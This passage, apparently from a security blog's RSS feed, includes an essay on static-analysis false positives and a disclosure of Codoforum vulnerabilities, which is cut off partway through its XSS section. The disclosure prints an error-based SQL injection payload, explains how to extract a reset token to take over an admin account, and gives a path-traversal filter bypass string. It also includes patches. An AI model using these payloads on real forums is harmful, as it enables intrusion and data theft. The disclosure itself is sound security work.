  &lt;tr&gt;&lt;td&gt;17.01.2020&lt;/td&gt;&lt;td&gt;We report all vulnerabilities to the vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;30.01.2020&lt;/td&gt;&lt;td&gt;Pandora FMS releases a security patch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed a critical security vulnerability found in Pandora FMS, a popular IT monitoring solution used by big industry leaders. This vulnerability can lead to a complete takeover of the application and put further network systems at risk. We’ve evaluated its root cause and how different security mechanisms in the code can have pitfalls and lead to such vulnerabilities. Due to the severity of the issues we’ve postponed this release for several months. If you are hosting Pandora FMS and did not update your installation yet, we highly recommend to do so now. We would like to thank the Pandora FMS team who quickly released a &lt;a href=&quot;https://pandorafms.com/blog/whats-new-in-pandora-fms-743/&quot;&gt;patch version 743&lt;/a&gt; after our reports.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can join the discussion about this vulnerability in &lt;a href=&quot;https://community.sonarsource.com/t/pandora-fms-742-authentication-bypass-via-sql-injection-vulnerability/31784&quot;&gt;our community forum&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[False positives are our enemies, but may still be your friends]]></title><description><![CDATA[When writing a rule for static analysis, it’s possible that in some cases, the rule does not give the results that were expected. Unfortunately, naming a false positive is often far easier than fixing it. Learn how the different types of rules give rise to different types of false positives, which ones are easier to fix than others, and how you can help.]]></description><link>https://www.sonarsource.com/blog/false-positives-our-enemies-but-maybe-your-friends</link><guid isPermaLink="false">7bdb0fa1-b0f2-578c-8306-2e59f50b1952</guid><dc:creator><![CDATA[Loïc Joly]]></dc:creator><pubDate>Tue, 15 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When writing a rule for static analysis, it’s possible that in some cases, the rule does not give the results that were expected. Unfortunately, naming a false positive is often far easier than fixing it. In this post, I’ll discuss how the different types of rules give rise to different types of false positives, which ones are easier to fix than others, and how you can help. I’ll end with insight into how issues that are false positives can still be true indicators that the code needs to change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First let&amp;#x27;s take a look at what &amp;quot;false positive&amp;quot; means. There are two questions which shape the definition. First, is there a &lt;em&gt;real&lt;/em&gt; issue in the code? Second, is an issue detected in the code? Combining them gives us a 2x2 Cartesian matrix:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ff378a78-dabf-4683-ab70-8dea911c34e0/body-cfedddb8-574c-4276-9494-aae3f04f8fca_Selection_999%2528252%2529.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Why are there false positives?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are several kinds of rules, that rely on different analysis techniques. It therefore comes as no surprise that there are different reasons for false positives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One important distinction is whether the rule needs to compute the semantic properties of your program (For instance: Can this `string` be empty? Is it possible for a call to function `b` to happen before a call function `a`? …​), or if it just needs to rely on syntactic properties (Is the program using `goto`? Does this `switch` handle all possible values of an `enum`? …​). Let’s look at the impact this difference has.&lt;/p&gt;&lt;h3&gt;Rice’s theorem&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Rice%27s_theorem&quot;&gt;Rice’s theorem&lt;/a&gt; says that any non-trivial semantic property of a program is undecidable. A very well-known special case of this theorem is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Halting_problem&quot;&gt;halting problem&lt;/a&gt;, which was proven impossible to solve by &lt;a href=&quot;https://en.wikipedia.org/wiki/Alan_Turing&quot;&gt;Alan Turing&lt;/a&gt;. There is no way to write a rule that can detect, given the source code of another program, whether this other program will stop or run indefinitely.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fortunately, these theorems don’t mean that static analysis is doomed to fail. There are heuristics that work reasonably well in many useful cases. It’s just not possible to write something that will work in all cases. Rules that rely on semantic properties will always be subject to false positives.&lt;/p&gt;&lt;h3&gt;Non semantic rules&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not all rules are based on semantic properties; some are much simpler, but may still raise false positives. That may be because the implementation is buggy, or because the exact specification is hard to get right.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s look at an example for a simple rule: &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1314&quot;&gt;Octal values should not be used&lt;/a&gt;. Octal literals start with a `0` in C and C++. They are not used very often, and there is a risk that someone reading the code confuses them with a decimal literal:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int const secretCode1 = 1234;
int const secretCode2 = 0420; // In fact, this number is 272 in decimal
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So we created a rule to detect this situation. We correctly excluded some special cases from the start (for instance, the literal `0` &lt;em&gt;is&lt;/em&gt; an octal literal, but it’s the only sane way to write 0, and in this case, the octal value and the decimal one are the same). So far, so good, the rule was added to the analyzer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alas, this rule had what we consider a false positive in its specification. In POSIX filesystems, permissions are set for user/group/others, and these permissions are a case where using octal notation really makes sense, because each digit then exactly matches one scope of permission (permission `0740` means `7` for user, `4` for group and `0` for others). We therefore decided that in this specific context, an octal literal should not raise an issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The astute developer may wonder: But what if I use an octal literal to indirectly set a permission?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void f(bool b) {
  int mask = 0770;
  if (b) {
    mask |= 0007;
  }
  open(&quot;some_path&quot;, O_WRONLY, mask);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this situation, should we allow the 2 octal literals, or not? There is no perfect answer:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;We can err on the side of avoiding false positives by deciding that all octal values with 3 digits are acceptable. By doing so, we introduce false negatives, which is often the case when trying to avoid false positives&lt;/li&gt;&lt;li&gt;We can track whether or not the value is used for a POSIX permission. This makes the rule more complex (and therefore slower), and it also makes this rule a subject of Rice’s theorem, when it was not before&lt;/li&gt;&lt;li&gt;We can decide to report those cases, on the assumption (checked by looking at a lot of open-source code) that this is not a common pattern.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, we decided that a low rate of false positives was more acceptable than the other options, and chose the third path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, it was not the end of the story. Several months later, we discovered that if a POSIX function is called with several octal parameters, a bug in our implementation caused an issue to be raised. We corrected it.&lt;/p&gt;&lt;h3&gt;Small taxonomy&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have seen three kinds of false positives. While there can be more accurate categorization, those three types are different enough that they might require different actions (the terms are mine, I’m not aware of a common terminology):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Semantic false positives - &lt;/strong&gt;These are the false positives related to Rice’s theorem. They happen when we need to know some semantic properties of a program. For instance if a variable can be null at a certain point in the code, or if an index is within the bounds of an array.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Specification false positives - &lt;/strong&gt;They happen most often for Code Smell rules. A Code Smell is merely an indicator, not a clear-cut Bug, so there are no clear-cut criteria. That means deciding if the code smells good or bad leaves some room for interpretation. There is always a gray area between good and bad, and it takes some time and lots of code examples to get good rules that work in most common cases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bugs causing false positives - &lt;/strong&gt;Sometimes, we just have a bug in our implementation. We don’t detect what we are supposed to detect.&lt;/p&gt;&lt;h2&gt;Why do we try to avoid false positives?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve seen that avoiding false positives is not an absolute. It usually comes as a compromise, the trade-offs being more complex (slower and more error-prone) implementation, and the emergence of false negatives. Taken to the extreme, we can create a product with a rate of false positives of 0. We just have to never report anything. But such a product would not be very useful, would it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the other hand, there could be good reasons to select a position at the opposite of the spectrum: report everything. For instance, if we were focusing on safety-critical software, where a bug can have dire consequences, we would probably favor a strategy where we minimize false negatives, at the cost of requiring more time from developers to manually filter out the false positives produced by an analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an example, in our analyzer for C and C++, we include a set of rules that we did not design ourselves, but which come from the MISRA guidelines for safety-critical software. These rules were designed with a mindset where false positives are not such a big deal if they can help avoiding bad behaviors - even when the threat is rare. And we implemented them as is.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At SonarSource, we nevertheless believe that, when possible, we should favor minimizing false positives as much as possible. Why? From our experience, a tool that reports too much is a tool that will not be listened to after a short period of time. We really don’t want to cry wolf.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, we want to allow static analysis to be part of the development workflow, with the possibility for a team to decide to block a pull request if it does not pass some minimal quality criteria. Doing so would be painful if we raised many false positives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Coming back to how we deal with MISRA rules, there are cases where we implemented two versions, one of which is a strict implementation of the MISRA rule, and one which is closer to our preferred philosophy: it will report fewer issues, retaining only the more important ones. For these MISRA-inspired rules we believe that we can reasonably reduce the noise without losing too much value. You can select which version you prefer depending on your context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To sum it up, we try very hard to avoid false positives. And we need your help to accomplish that goal: If you discover a false positive in your analysis, &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;please report it&lt;/a&gt;, so we can improve our products for everybody.&lt;/p&gt;&lt;h2&gt;So, what can &lt;em&gt;you&lt;/em&gt; do about false positives?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the SonarQube &amp;amp; SonarCloud UIs, you can mark them as such, so that we will no longer bother you with this issue. But this is just a short-term solution. There are probably better actions to take.&lt;/p&gt;&lt;h3&gt;Report them&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As was said earlier, we are eager to decrease the rate of false positives in our products. So if you see one, please report it in &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;our community forum&lt;/a&gt;. If you have an idea why the code is triggering a false positive, that’s even better! We’ll be able to correct it faster. We are currently &lt;a href=&quot;https://community.sonarsource.com/t/provide-feedback-on-false-positives-and-help-us-build-a-more-accurate-analysis/29894&quot;&gt;adding some features&lt;/a&gt; in our products to allow you to report false positive easily and accurately. Please use them if you can.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In some cases, especially with &lt;em&gt;semantic false positives&lt;/em&gt;, it will be hard for us to remove a false positive. Theorems are like final bosses in a video game, they are &lt;strong&gt;very&lt;/strong&gt; tough to defeat. But we’ll try to do our best anyway. For &lt;em&gt;specification false positives&lt;/em&gt; we will have to see if we agree with your evaluation of the situation, and then we’ll correct them. And finally, &lt;em&gt;Bugs causing false positives&lt;/em&gt; have a high priority in our backlogs, and are usually dealt with rapidly.&lt;/p&gt;&lt;h3&gt;Post-mortem of a false positive&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before reaching the conclusion of this article, let’s take a side track and analyze a very nice false positive report we got on our &lt;a href=&quot;https://community.sonarsource.com/t/identical-sub-expression-when-calling-functions-with-side-effects/17871&quot;&gt;community forum&lt;/a&gt;. This is the example that gave me the idea to write this article in the first place. It is about the rule &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1764&quot;&gt;Identical expressions should not be used on both sides of a binary operator&lt;/a&gt;, whose purpose is to detect buggy code such as if `( a == b &amp;amp;&amp;amp; a == b )` which is probably the results of a copy/paste error. The user code was the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (!DoSomething()) return xml-&gt;GoToParentNode() &amp;&amp; xml-&gt;GoToParentNode();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the following comment:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;blockquote&gt;As you can probably tell, this return jumps up twice in the XML structure, if the first jump is successful. Otherwise it will return `false` (`GoToParentNode` has `bool` return type).

While it might be debatable if this is ideal and whether it wouldn’t be clearer to write this in multiple lines with individual ifs etc., this is valid and the most succinct way.
&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;We totally agree that this is a false positive for this rule (in the category &lt;em&gt;bugs causing false positives&lt;/em&gt;), and we created a ticket in order to correct it. Nevertheless, I believe the second paragraph is very interesting: this code is probably not the best possible. While we can guess what this code means, we have to raise our level of awareness to read and understand this code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Navigating the XML tree that way might be a common pattern in this codebase, in which case, it is perfectly fine, because maintainers of this code have been trained to read such code. But otherwise, while correct and succinct, I believe that this code is too clever, and is a Code Smell. Not the one that we indicated, but an issue nevertheless.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I would rather write this code in this dumb way, which clearly shows that we’re trying to navigate to the grandparent:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (!DoSomething()) {
  if (!xml-&gt;GoToParentNode()) { return false;}
  return xml-&gt;GoToParentNode();
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Use them as a hint&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even though we have vowed to reduce the number of false positives in our analyzers, when you encounter one, you may still pause and ponder about why it happens.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A static analyzer is a tool that tries to understand source code. Which is what developers do all the time. Obviously, developers are much more accurate than any static analyzer, when they put their minds to it. But at the same time, they tend to get tired after a while. Source code should be easy to understand, and to reason about.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If a tool can’t do it, are you confident that developers can do it consistently, even on a Friday afternoon after a good &lt;a href=&quot;https://en.wikipedia.org/wiki/Tartiflette&quot;&gt;tartiflette&lt;/a&gt;?&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this document I explained what false positives are, and why they are an inherent component of static analysis that can never be truly eliminated. And why we try to reduce them nevertheless.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you encounter one, mark it as such and report it to us. And at the same time, take it as a hint. A hint that there is probably some issue with the code that triggered the false positive (even though the real issue might be totally unrelated to the issue we report). A hint that this code has the potential to be improved.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;If you would like to comment or discuss this subject, you can do it in &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-false-positives-are-our-enemies-but-may-still-be-your-friends/31363&quot;&gt;our community forum&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Codoforum 4.8.7: Critical Code Vulnerabilities Explained]]></title><description><![CDATA[We analyze the root cause of three critical security vulnerabilities that enabled a complete board take over, and how to correctly prevent these in your code.]]></description><link>https://www.sonarsource.com/blog/codoforum-4.8.7-critical-code-vulnerabilities-explained</link><guid isPermaLink="false">ace73fb5-b16c-5dbe-981a-78e5c9651698</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 25 Aug 2020 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the SonarSource R&amp;amp;D team we are equally driven by studying and understanding real-world vulnerabilities, then by helping the open-source community secure their projects. This recently led us to uncover and report multiple security vulnerabilities in Codoforum, an open source forum software developed in PHP. The vulnerabilities enable different attack vectors for a complete take over of any Codoforum board with version &amp;lt;4.9 and are rated as critical. No prior knowledge or privileges are required by a remote attacker. We reported all issues responsibly to the affected vendor who released a security patch immediately.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we analyze the technical root cause of three vulnerabilities, what security measures were found and bypassed, and how to correctly prevent these in your code. We will look at the vulnerabilities from an attacker’s perspective and demonstrate how various exploitation techniques are used in an attack to sharpen your defender’s mindset.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;SQL Injection (CVE-2020-13873)&lt;/h2&gt;&lt;p&gt;We found two SQL Injection vulnerabilities and one of these can be exploited as an unauthenticated forum user to extract data from the database. These allow an attacker to fully compromise an administrator account by retrieving a password reset token. Once an administrator account is accessed, the attacker can gain Remote Code Execution on the targeted web server and compromise the system’s host and data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For demonstration purposes we’ve created a short video that shows the most critical SQL injection vulnerability and its impact.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/PNjDkhfuGBo&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Technical Analysis&lt;/h3&gt;&lt;p&gt;The vulnerability hides within the API call for fetching forum posts. Its code is defined in the &lt;em&gt;routes.php&lt;/em&gt; file. Here, a dispatch function maps a route to a function that processes certain URL parameters. As shown in line 165, a topic ID &lt;code&gt;$tid (:tid)&lt;/code&gt; is processed from the route that can be modified by a malicious user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;routes.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;165 function dispatch_get(&apos;Ajax/topic/:tid/:from/get_posts&apos;, function ($tid, $from) {
// ⋮
168    $topic = new \CODOF\Forum\Topic(\DB::getPDO());
169    $topic_info = $topic-&gt;get_topic_info($tid);
179 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This route has neither CSRF protection nor a permission check and can be accessed from any visitor without authentication. The user input $tid is then passed to the get_topic_info() function without any sanitization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the &lt;code&gt;get_topic_info()&lt;/code&gt; function, the user controlled variable &lt;code&gt;$tid&lt;/code&gt; is concatenated directly into a SQL query in line 462 which is executed in line 464. This is a textbook SQL injection that allows an attacker to malform the SQL query in order to access other SQL tables and columns than intended. Erroneously, the developer assumed that the parameter &lt;code&gt;$tid&lt;/code&gt; is an integer before it is included into the query as we can see from the comment in line 461.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/CODOF/Forum/Topic.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;458 public function get_topic_info($tid) {
⋮
461    // $tid is converted to integer so its safe
462    $qry = &quot;SELECT t.redirect_to,t.topic_id,t.post_id, t.no_posts, t.no_views,t.uid,&quot; . &quot;t.title, c.cat_name,t.post_id, c.cat_alias, c.cat_id,&quot; . &quot;t.topic_created, t.topic_updated, t.topic_status &quot; . &quot;FROM codo_topics AS t &quot; . &quot;INNER JOIN codo_categories AS c ON c.cat_id=t.cat_id &quot; . &quot;WHERE t.topic_id=$tid AND t.topic_status&lt;&gt;0 LIMIT 1 OFFSET 0&quot;;
463
464    $res = $this-&gt;db-&gt;query($qry);
⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although the SQL injection is easily triggered via the get_posts route, the challenge for an attacker is that there is no access to the SQL query’s result (blind SQL injection). Worst-case, an attacker would need to extract data character by character by using timing techniques. However, there is the possibility to extract the result via an uncaught &lt;code&gt;PDOException&lt;/code&gt; because error reporting is enabled by default in Codoforum. This requires less HTTP requests and the data can be extracted in chunks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The MySQL function &lt;code&gt;extractvalue()&lt;/code&gt; can be abused during a SQL injection attack for this purpose. It constructs an XPath query and checks for correct syntax. When we define a faulty XPath that includes information that we want to read, e.g. the MySQL version number, then this is leaked as part of the error message.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;EXTRACTVALUE(RAND(),CONCAT(0x3a,(SELECT VERSION() LIMIT 0,1))&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ad769000-3fcd-48dc-a5a1-c068e4100745/codoforum_leak.png.webp&quot; /&gt;&lt;p&gt;With the help of this error-based technique, an attacker can extract data from the database quickly and efficiently. For example, the attacker could extract all passwords from the users table. This is very inefficient though because Codoforum stores only the hashes of all passwords using the bcrypt algorithm. The attacker would need to make the effort of cracking these hashes in order to login.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is a more clever way. By requesting a password reset for a user, for example the forum’s administrator, a password reset token is generated and stored in the database. Although the attacker does not have access to the admin’s email to receive this token, he can now abuse the SQL injection to extract that token directly from the database. As a result, the attacker can reset the admin’s password with that token and then login as administrator. From here, the attacker can abuse administrator features to compromise the server as we will see in the last section of this post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;By using prepared statements or an integer typecast it is prevented that an attacker can inject arbitrary SQL syntax and mix user input with the SQL query. This way, the attacker cannot modify the SQL query to its advantage anymore.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/CODOF/Forum/Topic.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;458  public function get_topic_info($tid) {
461     $tid = (int)$tid;
462     $qry = &quot;SELECT t.redirect_to,t.topic_id,t.post_id, t.no_posts, t.no_views,t.uid,&quot; . &quot;t.title, c.cat_name,t.post_id, c.cat_alias, c.cat_id,&quot; . &quot;t.topic_created, t.topic_updated, t.topic_status &quot; . &quot;FROM codo_topics AS t &quot; . &quot;INNER JOIN codo_categories AS c ON c.cat_id=t.cat_id &quot; . &quot;WHERE t.topic_id=$tid AND t.topic_status&lt;&gt;0 LIMIT 1 OFFSET 0&quot;;
463
464     $res = $this-&gt;db-&gt;query($qry);
⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But there were alternative ways for an attacker to compromise the Codoforum board software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Path Traversal (CVE-2020-13874)&lt;/h2&gt;&lt;p&gt;The second vulnerability type found was a Path Traversal that allows an unauthenticated attacker to download arbitrary files from the server, such as sensitive configuration files. Although the developers tried to prevent this vulnerability with input sanitization, the filter could be bypassed. Let’s have a look at the details.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Technical Details&lt;/h3&gt;&lt;p&gt;The vulnerability resides in the file attachment feature of the forum. Via the route &lt;em&gt;serve/attachment&lt;/em&gt; the &lt;code&gt;attachment()&lt;/code&gt; function is called as shown in the code below. Here, in line 64, it calls the constructor &lt;code&gt;Serve()&lt;/code&gt;. Note that there are several routes that lead to the vulnerable &lt;code&gt;Serve()&lt;/code&gt; function and this route can be used as an unauthenticated user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;routes.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;62  dispatch_get(&apos;serve/attachment&apos;, function () {
63
64     $serve = new \Controller\Serve();
65     $serve-&gt;attachment();
66  });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We now inspect what happens in this &lt;code&gt;serve()&lt;/code&gt; function. In line 37, a user controlled input &lt;code&gt;$_GET[&amp;#x27;path&amp;#x27;]&lt;/code&gt; is retrieved and sanitized. It is concatenated with other strings and then used as a file path in line 42 to open a file that is offered for download. The whole security is based on the &lt;code&gt;sanitize()&lt;/code&gt; function in line 37 which is supposed to prevent a path traversal attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/Controller/Serve.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;35  private function serve($path) {
36
37     $name = $this-&gt;sanitize($_GET[&apos;path&apos;]);
38     $dir = DATA_PATH . $path;
39
40     $path = $this-&gt;setBasicheaders($name, $dir);
41     header(&apos;Content-Disposition: attachment; filename=&quot;&apos; . $this-&gt;getRealFileName($name) . &apos;&quot;&apos;);
42     @readfile($path);
43     exit;
44  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following code listing shows the sanitization approach. In line 123, the characters &lt;code&gt;..&lt;/code&gt; are removed and then the url encoded representation &lt;code&gt;%2e%2e&lt;/code&gt; is also removed in the next line.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/Controller/Serve.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;121  private function sanitize($name) {
122
123     $name = str_replace(&quot;..&quot;, &quot;&quot;, $name);
124     $name = str_replace(&quot;%2e%2e&quot;, &quot;&quot;, $name);
125  
126     return $name;
127  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The problem is that the PHP function &lt;code&gt;str_replace()&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; replace the string recursively and is only processed once from left to right. This means that if the variable &lt;code&gt;$name&lt;/code&gt; contains something like &lt;code&gt;/.%2e%2e./&lt;/code&gt; it will be replaced back to &lt;code&gt;/../&lt;/code&gt; and the sanitization is bypassed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thus a path traversal attack is possible and an unauthenticated attacker can read arbitrary files from the server by traversing in the file system and accessing sensitive files (&lt;code&gt;…/…/…/other/path/file&lt;/code&gt;). This can lead to a full takeover of certain servers hosted with Codoforum.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The faulty sanitization can be fixed by first using &lt;code&gt;urldecode()&lt;/code&gt; and then using &lt;code&gt;str_replace(&amp;quot;..&amp;quot;)&lt;/code&gt; or by removing the second replacement altogether.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Persistent Cross-Site Scripting (CVE-2020-13876)&lt;/h2&gt;&lt;p&gt;Last but not least, we uncovered a Persistent XSS vulnerability in Codoforum. It enables a low privileged, malicious user to inject a JavaScript payload into the admin backend. When an admin then visits an infected user profile, the XSS payload is executed and the attacker can perform any action as authenticated admin, including the execution of arbitrary code on the targeted web server.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/efbdefc8-72f3-4e2e-9d69-e0f0042d468a/codeforum_xss.png.webp&quot; /&gt;&lt;p&gt;Let’s have a look at how this works. When registering a new user, we can specify an e-mail address which is then reflected in the admin backend. In the following code snippet, in line 679, the registration process is initialized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;routes.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;675  dispatch_post(&apos;/user/register&apos;, function () {
676   
677     if (Request::valid($_POST[&apos;token&apos;])) {
678        $user = new \Controller\user();
679        $user-&gt;register(true);
680  
681        CODOF\Smarty\Layout::load($user-&gt;view, $user-&gt;css_files, $user-&gt;js_files);
682     }
683  });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following code shows the simplified &lt;code&gt;register()&lt;/code&gt; function. Here, in line 3, the user input &lt;code&gt;$_REQUEST[&amp;#x27;mail&amp;#x27;]&lt;/code&gt; is retrieved and checked with other information in line 4. If there is no error, such as an invalid or already existing email address, the user will be registered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/Controller/user.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1  public function register($do) {
⋮
3     $register-&gt;mail = $_REQUEST[&apos;mail&apos;];
4     $errors = $register-&gt;get_errors();
5
6     if (empty($errors)) {
7        //register user
8     }
